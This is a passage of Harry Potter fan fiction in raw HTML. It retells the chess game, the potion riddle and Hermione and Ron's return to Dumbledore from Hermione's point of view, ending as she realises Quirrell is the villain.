leaving\nHermione alone in the corner.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Soon she was\nmoving around the board as well.&nbsp; Then\nsuddenly, the queen side knight was captured by the white queen and Hermione\nhad the answer to her question.&nbsp; This was\nexactly like wizard&#8217;s chess.&nbsp; The queen\nshowed no mercy as it struck down the knight and dragged it off the board.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See!&#8221; Hermione\nsquealed. &#8220;This is why I hate this game.&nbsp;\nWe&#8217;re going to get killed out here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not going to\nlet anything happen to you two, I promise,&#8221; Ron assured her. &#8220;Had\nto let that happen.&nbsp; Leaves you to take that bishop, Hermione.&nbsp; Go on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nnumbly as she stepped forward to capture the bishop.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She turned to\nface the others and then noticed something. &#8220;Ron, the white knight is going to\ntake Harry,&#8221; she called as she watched the knight go into position.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron whirled\naround. &#8220;I&#8217;m on it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The game move forward.&nbsp;\nAs the knight, Ron captured several pieces while he made sure that\nHermione and Harry were safe from danger. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve got to\nhurry,&#8221; Hermione called as she looked at her watch.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know, I know.&#8221;\nRon said in frustration. &#8220;Just give me a moment.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\naround the chessboard.&nbsp; Something about\nthe configuration looked strangely familiar to her.&nbsp; She closed her eyes and tried to imagine the\nchessboard from a birds eye view.&nbsp; She\nmentally placed all the pieces where they were and thought hard.&nbsp; What was the next move?&nbsp;&nbsp; It soon became obvious.&nbsp; The white queen needed to be diverted.&nbsp; That was the only way to capture the king.&nbsp; She&#8217;d been in this same predicament in her\nlast chess match with Ron months ago.&nbsp; It\nwas almost the exact same layout.&nbsp; That\nmeant that to win the game, Ron would have to trick the queen by&#8230;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve got to be\ntaken,&#8221; Ron announced.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He was the\nknight, the same knight Hermione moved in her match against Ron to make him\nmove his queen.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Hermione\nshouted when she finally put the pieces together.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Ron was being\njust as stubborn as Harry had been about facing Snape in his last quidditch\nmatch.&nbsp; It was the only way, and they all\nknew it.&nbsp; Ron took a step forward and for\na split second Hermione saw him give her a knowing look. <i style="mso-bidi-font-style:\nnormal">&#8220;He knows&#8230; he knows exactly what move he&#8217;s doing.&nbsp; Knight to H-3.&nbsp; I guess we&#8217;ll see if it actually works.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched\nin horror as the queen pounced on Ron and struck him hard on the back of the\nhead.&nbsp; She was sure that if he didn&#8217;t\nhave wizarding blood, the blow would have decapitated him.&nbsp; As it was, Ron just collapsed to the\nchessboard in a dead faint.&nbsp; Now it was\nHarry&#8217;s turn to move and checkmate the king.&nbsp;\nThe king threw his crown at Harry&#8217;s feet and just that quickly the game\nwas over.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione ran up\nto where Harry stood. &#8220;We should go get Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked at\nthe pile of black pieces where Ron was. &#8220;We can&#8217;t risk going back.&nbsp; We might have to do this all over again.&nbsp; We&#8217;ve got to go forward.&#8221; He grabbed her by\nthe arm and dragged her to the door.&nbsp;\nThere was another stone passage behind it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What if he&#8230;&#8221;\nHermione started.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;ll be\nalright,&#8221; Harry said determinedly though she could tell he barely believed it\nhimself. &#8220;What do you reckon&#8217;s next?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione ticked\noff the obstacles they had faced so far.&nbsp;\nSprout was the devil&#8217;s snare.&nbsp;\nFlitwick had charmed the keys.&nbsp;\nThe massive chessboard had to be McGonagall&#8217;s doing.&nbsp; That left Quirrell and Snape.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they reached\nthe next door, Hermione wondered what they would be facing next and if they\nwould be able to get through it without Ron to back them up.&nbsp; Harry pushed open the door and Hermione\nimmediately knew what awaited them.&nbsp; The\nsmell was so horrific it could only be one thing, a troll.&nbsp; Hermione almost froze with fright.&nbsp; She didn&#8217;t think she could face another\ntroll, not after what happened the last time.&nbsp;\nShe was about to tell Harry this when she noticed that the troll in\nquestion was already lying flat on its back in the middle of the floor.&nbsp; Snape had obviously already been through here\nand taken care of the troll for them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;What a stroke of luck.&nbsp; Glad we didn&#8217;t have to face that,&#8221;</i>\nHermione thought as they walked up to it.&nbsp;\nHarry expressed the same thought as they carefully stepped past the\ntroll.&nbsp; It was even bigger than the one\nthey&#8217;d faced on Halloween.&nbsp; They quickly\nmade their way to the next door and Harry pulled it open.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione peeked\ninside and saw a table with seven differently colored and shaped bottles\nsitting in a line.&nbsp; This was obviously\nSnape&#8217;s obstacle.&nbsp; As they stepped inside\nto get a closer look, a wall of purple flames shot up in the threshold behind\nthem and at the same time, black flames shot up to block the doorway that would\nlead them forward.&nbsp; They were completely\ntrapped inside the room now.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ncontinued towards the table and found a scroll lying next to the bottles.&nbsp; She unrolled it and began to read.</p>\n\n<p class="MsoNormal" style="margin-top:0in;margin-right:.5in;margin-bottom:0in;\nmargin-left:.5in;margin-bottom:.0001pt">&#8220;Danger lies before you, while safety\nlies behind, <br>\nTwo of us will help you, which ever you would find, <br>\nOne among us seven will let you move ahead, <br>\nAnother will transport the drinker back instead, <br>\nTwo among our number hold only nettle wine, <br>\nThree of us are killers, waiting hidden in line. <br>\nChoose, unless you wish to stay here forevermore, <br>\nTo help you in your choice, we give you these clues four: <br>\nFirst, however slyly the poison tries to hide <br>\nYou will always find some on nettle wine\'s left side; <br>\nSecond, different are those who stand at either end, <br>\nBut if you would move onward, neither is your friend; <br>\nThird, as you see clearly, all are different size, <br>\nNeither dwarf nor giant holds death in their insides; <br>\nFourth, the second left and the second on the right <br>\nAre twins once you taste them, though different at first sight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ngrinned.&nbsp; This was going to be bloody\neasy.&nbsp; It wasn&#8217;t even magic.&nbsp; It was pure simple logic.&nbsp; Now she saw why Snape had picked this as his challenge.\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A lot of the\ngreatest wizards haven&#8217;t got an ounce of logic.&nbsp;\nThey&#8217;d be stuck in here forever,&#8221; she explained to Harry. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But so will we;\nwon&#8217;t we?&#8221; Harry looked disheartened.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course not,&#8221;\nHermione said giving him one of her trademark disapproving looks.&nbsp; Did he really think she couldn&#8217;t handle a\nsimple puzzle like this?&nbsp; If there was\none thing a Granger was good at, it was logic. &#8220;Everything we need is here on\nthis paper:&nbsp; seven bottles, three are\npoison, two are wine, one will get us safely through the black fire, and one\nwill get us back through the purple.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry still\nlooked confused. &#8220;But how do we know which to drink.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him\na knowing look. &#8220;Give me a minute,&#8221; she said with a grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She stepped up to\nthe table and began to pace. &#8220;Okay Hermione, you can do this,&#8221; she muttered to\nherself.&nbsp; Harry waited patiently behind\nher, not interrupting her thoughts.&nbsp; She\ncontinued to talk to herself to organize her thoughts as she processed the four\nclues.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, the third\nclue is the easiest.&nbsp; The shortest and\nthe tallest aren&#8217;t poison.&#8221;&nbsp; She\nidentified the two bottles.&nbsp; The shortest\nwas the third from the left.&nbsp; The tallest\nwas the second from the right.&nbsp; She\nmarked them mentally in her mind.&nbsp; These\ntwo weren&#8217;t poison.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nat the parchment again. &#8220;Okay, the second from the left and the second from the\nright have to be identical drinks.&nbsp; That\nmeans they&#8217;re either both poison or both wine.&nbsp; The second from the right is the tallest and\nI know it&#8217;s not poison.&nbsp; It has to match\nthe second from the left so that means it must be wine.&nbsp; Got it.&nbsp; The second from the left and the second from\nthe right are wine.&#8221;&nbsp; She marked these\ntwo mentally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\ndown at the riddle again. &#8220;Okay I know that wherever there&#8217;s wine, there&#8217;s a poison\nto the left of it.&nbsp; The second from the\nleft and the second from the right are the two wines.&nbsp; That means the bottle on the left end of the\nline is poison and the third from the right is poison as well.&#8221;&nbsp; Hermione marked these two mentally.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This meant from\nleft to right: the first bottle was poison, the second was wine, the third\ncouldn&#8217;t be poison but she didn&#8217;t know what it was, the fourth was still an\nunknown, the fifth was poison, the sixth was wine, and the seventh was still\nunknown.&nbsp; She was making good progress.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; she\nstarted pacing again while she reread a few lines of the riddle. &#8220;It says that\nto go forward, neither of the end bottles will do the trick, but it also says\nthat they&#8217;re different drinks.&nbsp; So if the\nbottle on the far left is poison, that means the bottle on the right can&#8217;t be\npoison because they&#8217;d be the same.&nbsp; It\ncan&#8217;t be wine because I&#8217;ve found the two wines already, and it can&#8217;t be the\npotion to let me go forward so it must be the one that lets me go back through\nthe purple flames.&nbsp; Got\nit.&#8221; Hermione mentally marked this bottle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This meant from\nleft to right: the first bottle was poison, the second was wine, the third and\nshortest was <i style="mso-bidi-font-style:normal">not</i> poison, the fourth\nwas still an unknown, the fifth was poison, the sixth was wine, and the seventh\nwas the potion that would take them back.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That means,&#8221;\nHermione concluded to herself. &#8220;That the shortest bottle is the potion that\nwill take us forward since it can&#8217;t be the last poison.&nbsp; The one to its right must be the last\npoison.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; From left to\nright:&nbsp; the first bottle was poison, the\nsecond was wine, the third was the potion forward, the fourth was poison, the\nfifth was poison, the sixth was wine, and the seventh was the potion that would\ntake them back.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Got it!&#8221; Hermione finally announced loud enough for Harry\nto hear her.&nbsp; &#8220;The smallest bottle will\nget us through the black fire toward the stone.&#8221;&nbsp; She looked quite pleased with herself until\nHarry stepped forward to exam the bottle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There&#8217;s only\nenough there for one of us. That&#8217;s hardly one swallow,&#8221; he said.&nbsp; They stared at each other for a moment that\nseemed to last for an eternity.&nbsp; Hermione\nknew what he was thinking and her suspicions were confirmed when Harry asked,\n&#8220;Which one will get you back through the purple flames?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pointed\nsilently to the bottle on the far right.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You drink that.&#8221;\nHarry said immediately. Hermione opened her mouth to protest vehemently. She\nwasn&#8217;t about to let Harry go ahead without her but he quickly cut her off. &#8220;No\nlisten: get back and get Ron.&nbsp; Grab\nbrooms from the flying key room; they&#8217;ll get you out of the trap door and past\nfluffy.&nbsp; Go straight to the owlery and\nsend Hedwig to Dumbledore. &nbsp;We need\nhim.&nbsp; I might be able to hold Snape off\nfor a while but I&#8217;m no match for him really.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione bit her\nlower lip. &#8220;But Harry, what if&#8230; &#8216;you know who&#8217; is with him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her\none of his famous half grins. &#8220;Well I was lucky once wasn&#8217;t I?&nbsp; I might get lucky again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stared\nat him in amazement.&nbsp; How he could be so\ncalm at a time like this was beyond her.&nbsp;\nShe felt like she was going to cry.&nbsp;\nHarry was marching both bravely and foolishly off to what very well\nmight be his premature demise and there was nothing she could do to help him or\nstop him.&nbsp; What if she never saw him\nagain?&nbsp; The thought of losing him at the\nhands of the dark lord was too much to bear.&nbsp;\nBefore she knew what she was doing, she ran over and flung her arms\naround him, almost dissolving in tears.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, you&#8217;re a\ngreat wizard, you know?&#8221; There was so much more she wanted to say to him, but\nshe couldn&#8217;t find the words.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not as good\nas you.&#8221; Harry said as she finally let go of him, wiping her eyes. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me!&#8221; Hermione\ngave him a stunned look. <i style="mso-bidi-font-style:normal">&#8220;How could he\npossibly think that?&nbsp; He really doesn&#8217;t\nknow how special he is.&#8221;&nbsp; </i>She stared\ninto his eyes. &#8220;Books and cleverness.&nbsp; There are more important things; friendship\nand bravery and&#8230;&#8221; she could see that even though he was resolute about going\nforward, he was also as scared as she was. &#8220;Ooo, Harry,\nbe careful.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded at\nher.&nbsp; Hermione drank her potion\nfirst.&nbsp; It felt like ice was running\nthrough her veins.&nbsp; She wished him luck\nbefore turning and walking straight through the purple fire with one last\nbackward glance at Harry.&nbsp; She hopped it\nwouldn&#8217;t be the last time she saw him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione covered\nher nose and went running through the chamber with the troll.&nbsp; Then she took off down the next stone\ncorridor as fast as she could.&nbsp; The large\nchessboard came into view.&nbsp; As she\nstepped into the room, she noticed immediately that all the pieces were back in\nplace as if their last game had never been played.&nbsp; Ron however was still lying off to one\nside.&nbsp; She panicked for a moment,\nwondering if she&#8217;d have to play her way to get back across but the moment she\nstepped up behind the white pieces, they parted out of her way.&nbsp; Relieved, she rushed to Ron&#8217;s side and\nchecked his pulse.&nbsp; He was definitely\nstill alive.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pulled\nout her wand hoping that the spell she was thinking of would work and also\nwondering if she had the skill to cast it.&nbsp;\n&#8220;Ennervate.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; To her relief,\nRon&#8217;s eyes fluttered open. &#8220;Oy, that was quite a\nride, but I&#8217;d much not like to go again.&nbsp;\nYou?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione hugged\nhim. &#8220;I&#8217;m so glad you&#8217;re alright.&nbsp; You\nknow that was very brave and very stupid of you.&nbsp; You know that don&#8217;t you?&#8221; She was shaking him\nangrily now.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And I have you\nto thank for it.&nbsp; It was your move after\nall that won the game.&nbsp; I remembered it\nfrom the last time we played.&nbsp; Knight to\nH-3, distract the queen and all.&nbsp; Worked rather well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes I noticed,\nbut if I thought it would almost get you killed, I&#8217;d have never done it.&#8221;\nHermione helped him up. &#8220;You know what this means don&#8217;t you.&nbsp; I would have won the game.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It tricked the\nqueen, but it wouldn&#8217;t have tricked me.&nbsp;\nI saw right through it,&#8221; Ron told her matter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nher eyes. &#8220;Whatever, we&#8217;ve got to go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where&#8217;s Harry?&#8221;\nRon asked finally noticing their missing companion.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Facing off with Snape and probably &#8216;you know who&#8217; as we speak.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What!&#8221; Ron said\nin horror. &#8220;We&#8217;ve got to go help him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No we can&#8217;t,&#8221;\nHermione said quickly. &#8220;There&#8217;s no way to go after him.&nbsp; We have to get out of here and try and reach\nDumbledore in London, before it&#8217;s too late.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But&#8230;&#8221; Ron was\nstill keen on going after Harry but Hermione dragged him in the opposite\ndirection.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Trust me, we\ncan&#8217;t do anything for Harry except try and reach Dumbledore.&nbsp; He&#8217;s the only one who&#8217;ll believe us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They ran through\nthe ranks of the black chessmen and out the door that led to the charmed key\nroom.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Grab a broom,\nwe&#8217;re going to fly out of here,&#8221; Hermione ordered.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They both took broomsticks\nand flew through the last stone passageway and into the first chamber.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait for me to\nplay Fluffy to sleep,&#8221; Hermione shouted as they sped upwards to the trap door.\n&#8220;Then we can go up into the corridor.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione came to\na hovering halt just below the trap door.&nbsp;&nbsp;\nShe could here the growls of the giant three-headed dog just above\nher.&nbsp; She took out the flute and began to\nplay.&nbsp; After only a few seconds she could\nhear the dog snoring.&nbsp;&nbsp; With her free\nhand, she motioned for Ron to go up past her.&nbsp;\nHe did.&nbsp; Then, still playing the\nflute, she ascended slowly herself.&nbsp; Ron\nwas already by the door, waiting for her.&nbsp;\nHermione dismounted her broom and crept over the dog&#8217;s paws, all while\nstill playing a rather crude melody on the makeshift flute.&nbsp; She didn&#8217;t pull the instrument from her lips\nuntil she was standing at the open door with Ron.&nbsp; She dropped her broom and scooped up the\ndiscarded invisibility cloak, cramming it in her robe pocket with her free\nhand.&nbsp; They rushed out and slammed the door\nbehind them, just as fluffy started to wake up again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that was\neasy enough,&#8221; Ron said wiping sweat from his brow.&nbsp; &#8220;Now what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;To the owlery,&#8221;\nHermione answered. &#8220;Harry wants us to send Hedwig to Dumbledore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But that could\ntake hours,&#8221; Ron said as he ran to catch up with Hermione. &#8220;Harry won&#8217;t be able\nto last that long with &#8216;you know who.&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you have a\nbetter option?&#8221; Hermione asked impatiently as they rounded a corner only to\nfind the way blocked. &#8220;Drat.&nbsp; The\nstaircase moved again.&nbsp; Come on, we&#8217;ll\nhave to take the long way &#8216;round.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Living in a\ncastle where the staircases moved at different times during the day had never\nbothered Hermione until now.&nbsp; They\ndescended down another flight of stairs and made their way to the entrance\nhall.&nbsp; From there they could start up to\nthe owlery again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve got to\nhurry,&#8221; Hermione panted, clutching a stitch in her side as she started up the\nmain stairs in the entrance hall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mr. Weasley, Ms.\nGranger,&#8221; came a voice from behind them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione whirled\naround to see none other than Professor Albus Dumbledore standing in the main\ndoorway.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor,&#8221;\nHermione panted, she barely had breath to explain but apparently no\nexplanations were needed.&nbsp; The\nheadmaster&#8217;s blue eyes were wide with shock and knowledge all mingled together.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry has gone\nafter him, hasn&#8217;t he?&#8221; Dumbledore said in a surprisingly calm voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded,\ndumbstruck.&nbsp; It was like he had known all\nalong.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I must hurry,&#8221;\nHe took off up the stairs past them.&nbsp;\nHermione would have never guessed such an old wizard could move that\nfast.&nbsp; Hermione and Ron ran as fast as\nthey could to keep up with him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m ashamed of\nmyself for not seeing through this rather transparent deception.&#8221; Dumbledore\nsaid as he ran. &#8220;It wasn&#8217;t until I reached London that I realized that this was\nthe very place I needed to be.&#8221; He bounded up the next flight of stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;d just found\nout earlier that Hagrid had let slip how to get past Fluffy.&#8221; Ron said through\npants. &#8220;When McGonagall told us you had left, we knew that Snape would go after\nthe stone tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor Snape?&#8221;\nDumbledore repeated. &#8220;I&#8217;m afraid you&#8217;re mistaken on that point.&nbsp; It&#8217;s not Snape who is after the stone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&#8221; Ron was\ndefinitely confused. &#8220;But, he let the troll in on Halloween.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Dumbledore\nsaid stoically. &#8220;There&#8217;s only one person in this school with the skills to lure\na troll.&nbsp; I had just hoped he would come\nto his senses but I guess he gained more from his time away than he bargained\nfor.&#8221;&nbsp; They finally reached the entrance\nto the forbidden third floor corridor. &#8220;I want the two of you to go back to\nyour dormitories.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But Professor,&#8221;\nHermione protested. &#8220;I want to go with you.&nbsp;\nI want to make sure Harry is okay.&nbsp;\nI won&#8217;t just leave him alone down there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Dumbledore\nsaid sternly as he pulled out his wand. &#8220;I can make it down quicker on my own\nand I don&#8217;t want you two getting hurt.&nbsp;\nPlease do as I say.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They watched as\nhe pushed his way into the forbidden corridor and slammed the door behind\nhim.&nbsp; They suddenly heard loud classical\nmusic playing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron turned to\nHermione, a confused look on his face. &#8220;I don&#8217;t understand; if it&#8217;s not Snape\nwho&#8217;s helping &#8216;you know who&#8217; then who is it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nreplaying the conversation in her head.&nbsp;\nIt suddenly came to her. &#8220;Quirrell&#8230; it was Quirrell all along.&nbsp; How could we have been so stupid?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Quirrell?&nbsp; I don&#8217;t\nget it,&#8221; Ron said still confused.&nbsp; They\nwere walking slowly back to the tower, not in any particular hurry to get\nthere.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s the one\nthing that Quirrell actually knows about when it came to Defense Against the Dark Arts?&#8221; Hermione asked rhetorically. &#8220;Trolls!&nbsp; But didn&#8217;t\nyou say he fainted that night on Halloween when the troll got in.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Right, well old Quirrell\nwould faint if he saw his own shadow; you know that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t think\nso,&#8221; Hermione said pensively. &#8220;I think it&#8217;s all just been an act.&nbsp; I think Quirrell&#8217;s been the one behind this\nwhole thing and we&#8217;ve just been too thick to realize it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shook his\nhead. &#8220;But Snape was threatening him.&nbsp; He\nwas trying to get Quirrell on his side so he could steal the stone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Maybe Snape\nwasn&#8217;t threatening him so he could steal the stone, maybe he was trying to keep\nhim from stealing the stone.&nbsp;&nbsp; Snape\nprobably knew all along that Quirrell was a fake and was just trying to stop\nhim by himself, just like we&#8217;ve been trying to do.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But the\nquidditch game,&#8221; Ron reminded her. &#8220;Snape tried to kill Harry, remember.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nabout this. &#8220;I don&#8217;t believe it&#8230;&#8221; she started slowly. &#8220;I think I was wrong.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that would\nbe a first,&#8221; Ron said sarcastically.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione ignored\nhim, &#8220;It was probably Quirrell all along who was jinxing Harry&#8217;s broom and I\njust never saw him because I was only looking at Snape.&nbsp; I remember though, when I was running to stop\nSnape, I pushed Quirrell out of the way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was still\nunconvinced. &#8220;Well then what was Snape doing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nfor a moment. &#8220;Maybe he was performing the counter-jinx,&#8221; she concluded with a\nshrug.</p>\n\n<p 